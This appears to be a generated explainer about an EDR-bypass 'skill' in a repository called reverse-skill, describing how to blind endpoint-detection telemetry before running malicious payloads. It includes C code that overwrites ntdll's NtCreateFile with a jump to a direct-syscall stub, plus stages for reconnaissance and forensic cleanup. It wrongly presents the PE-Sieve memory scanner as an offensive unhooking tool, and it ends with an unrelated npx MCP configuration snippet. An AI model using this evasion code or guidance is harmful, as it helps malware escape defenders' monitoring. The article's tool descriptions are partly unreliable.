How EDR Bypass Skills Handle Telemetry Blinding: Architecture and Techniques Explained

EDR bypass skills blind telemetry by intercepting and neutralizing the API hooks that endpoint detection products use to monitor system activity, then suppressing the resulting telemetry stream before executing malicious payloads.

The reverse-skill repository by zhaoxuya520 implements a modular framework for EDR evasion, with telemetry blinding as a core capability. This article examines how the edr-bypass-re skill orchestrates hook discovery, unhooking, and telemetry suppression based on the repository's routing architecture and technical documentation.

EDR Bypass Skill Architecture in reverse-skill

The EDR bypass functionality is organized as a discrete skill module referenced through the repository's central routing system. According to skills/routing.md (source), the skill occupies a dedicated entry in the routing matrix that links EDR evasion capabilities to the broader reverse-skill framework.

The skill's implementation resides in skills/edr-bypass-re/SKILL.md (source), which documents the multi-stage telemetry blinding process. Supporting technical references are maintained in skills/edr-bypass-re/references/hook-survey.md (source), a survey of EDR hooking mechanisms used to inform unhooking strategy selection.

Telemetry Blinding: The Four-Stage Process

EDR bypass skills in reverse-skill follow a systematic approach to neutralize endpoint detection telemetry:

Stage 1: Target EDR Reconnaissance

Before payload delivery, the skill consults the hook survey reference to enumerate the specific hooking techniques employed by the target EDR product. This reconnaissance identifies:

• User-mode API hooks in ntdll.dll, kernel32.dll, and kernelbase.dll
• Nt-level hooks intercepting Native API calls
• Kernel-mode callbacks registered through PsSetCreateProcessNotifyRoutine and related mechanisms
• Inline hooks, IAT hooks, and SSDT hooks used by specific vendor implementations

The hook survey documentation catalogues these patterns across major EDR products, enabling the skill to select appropriate countermeasures.

Stage 2: Hook Interception and Unhooking

Using established techniques documented in the skill framework, the bypass module disables EDR monitoring hooks through several methods:

• PE-Sieve: Scans process memory to detect and remove injected hook DLLs by restoring original code sections
• SysWhispers3: Generates direct system call stubs that bypass hooked user-mode APIs entirely
• Hell's Gate: Dynamically resolves syscall numbers to execute kernel operations without touching monitored DLLs
• Custom shellcode loaders: Manually map payloads without triggering standard loader telemetry

The skill selects unhooking methods based on the reconnaissance output from Stage 1.

Stage 3: Telemetry Suppression Execution

With hooks neutralized, the payload executes its malicious operations. The EDR's telemetry pipeline receives no indication of:

• Process creation events
• File system modifications
• Network connection attempts
• Registry changes
• Memory allocation patterns

This suppression window persists for the duration of the payload execution or until the skill optionally restores hook state.

Stage 4: Optional Cleanup

Some implementations documented in the repository restore original hook state after payload completion. This cleanup reduces artifacts visible to post-incident forensic analysis and behavioral detection systems that monitor for persistent hook modifications.

Technical Implementation: Unhooking Example

The following code illustrates the core telemetry blinding concept using SysWhispers3-style direct system calls. This simplified example demonstrates overwriting a hooked API entry to blind EDR telemetry:

// Telemetry blinding via API hook neutralization
// Based on techniques in reverse-skill/edr-bypass-re

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

// SysWhispers3-style syscall stub structure
typedef struct _SYSCALL_STUB {
    BYTE mov_r10_rcx[3];    // 4C 8B D1  - mov r10, rcx
    BYTE mov_eax_imm[1];    // B8        - mov eax, syscall_number
    DWORD syscall_number;
    BYTE syscall[2];        // 0F 05     - syscall
    BYTE ret[1];            // C3        - ret
} SYSCALL_STUB, *PSYSCALL_STUB;

BOOL NeutralizeNtCreateFileHook()
{
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;
    
    LPVOID pNtCreateFile = GetProcAddress(hNtdll, "NtCreateFile");
    if (!pNtCreateFile) return FALSE;
    
    // Allocate executable memory for syscall stub
    PSYSCALL_STUB stub = VirtualAlloc(
        NULL,
        sizeof(SYSCALL_STUB),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!stub) return FALSE;
    
    // Build direct syscall stub (NtCreateFile = 0x55 on modern Windows)
    stub->mov_r10_rcx[0] = 0x4C;
    stub->mov_r10_rcx[1] = 0x8B;
    stub->mov_r10_rcx[2] = 0xD1;
    stub->mov_eax_imm[0] = 0xB8;
    stub->syscall_number = 0x55;  // Resolved dynamically in production
    stub->syscall[0] = 0x0F;
    stub->syscall[1] = 0x05;
    stub->ret[0] = 0xC3;
    
    // Overwrite hooked API entry to point to clean syscall stub
    DWORD oldProtect;
    if (!VirtualProtect(pNtCreateFile, 12, PAGE_EXECUTE_READWRITE, &oldProtect))
        return FALSE;
    
    // Write jump to stub: mov rax, imm64; jmp rax
    BYTE trampoline[12] = {0};
    trampoline[0] = 0x48;  // mov rax, imm64
    trampoline[1] = 0xB8;
    *(ULONGLONG*)(trampoline + 2) = (ULONGLONG)stub;
    trampoline[10] = 0xFF; // jmp rax
    trampoline[11] = 0xE0;
    
    memcpy(pNtCreateFile, trampoline, 12);
    VirtualProtect(pNtCreateFile, 12, oldProtect, &oldProtect);
    
    return TRUE;
}

int main()
{
    printf("[*] Executing EDR telemetry blinding\\n");
    
    if (!NeutralizeNtCreateFileHook()) {
        printf("[-] Failed to neutralize hook\\n");
        return 1;
    }
    
    printf("[+] NtCreateFile redirected to direct syscall\\n");
    printf("[*] Telemetry blinded - executing payload...\\n");
    
    // Payload execution occurs while EDR hooks are bypassed
    
    return 0;
}

Production implementations in reverse-skill extend this pattern with enhanced obfuscation, syscall number resolution through hash-based API lookup, and multi-API coverage for comprehensive telemetry suppression.

Key Files and References

File Path	Purpose
skills/routing.md	Central routing matrix linking EDR bypass skill to framework
skills/edr-bypass-re/SKILL.md	Primary skill documentation defining telemetry blinding stages
skills/edr-bypass-re/references/hook-survey.md	Technical reference cataloguing EDR hooking mechanisms

Comparison of Telemetry Blinding Techniques

The reverse-skill framework supports multiple approaches with distinct trade-offs:

• PE-Sieve — Scans and cleanses injected hooks from process memory; effective against user-mode DLL injection but requires process enumeration
• SysWhispers3 — Generates fresh syscall stubs bypassing the entire hooked user-mode layer; avoids detection by hook-based EDR but may trigger heuristic analysis of direct syscalls
• Hell's Gate — Resolves syscall numbers dynamically at runtime; resilient to syscall number changes across Windows versions
• Custom mappers — Manual PE loading without standard Windows loader telemetry; more complex but eliminates loader-based indicators

Summary

• EDR bypass skills in reverse-skill implement structured telemetry blinding through reconnaissance, hook neutralization, execution, and optional cleanup
• The hook survey reference enables targeted selection of unhooking techniques based on specific EDR product indicators
• Multiple implementation paths (PE-Sieve, SysWhispers3, Hell's Gate) provide operational flexibility across different target environments
• All skill documentation and routing references are maintained in versioned markdown files within the repository structure

Frequently Asked Questions

What is telemetry blinding in EDR bypass context?

Telemetry blinding refers to techniques that prevent endpoint detection products from receiving or processing security-relevant events. According to the reverse-skill documentation, this is achieved by intercepting the API hooks that EDR products use to monitor system calls, effectively rendering the detection pipeline "blind" to malicious activity during the execution window.

How does the reverse-skill repository organize EDR bypass capabilities?

The repository uses a modular skill architecture where edr-bypass-re functions as a discrete capability referenced through skills/routing.md. This design allows the telemetry blinding functionality to be invoked as part of coordinated operations while maintaining clean separation between reconnaissance, hook management, and payload execution components.

Why does the skill require a hook survey reference before blinding telemetry?

The hook-survey.md reference provides product-specific intelligence about how different EDR vendors implement their monitoring hooks. This reconnaissance stage ensures the selected unhooking technique matches the actual hooking mechanism in use—attempting to neutralize an SSDT hook with a user-mode unhooking method would fail and potentially trigger detection.

What distinguishes Hell's Gate from SysWhispers3 for telemetry blinding?

Both techniques execute direct system calls to bypass user-mode hooks, but Hell's Gate dynamically resolves syscall numbers from ntdll.dll at runtime rather than relying on hardcoded values. This makes Hell's Gate more portable across Windows versions where syscall numbers change, whereas SysWhispers3 requires pre-generated headers for specific build revisions.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}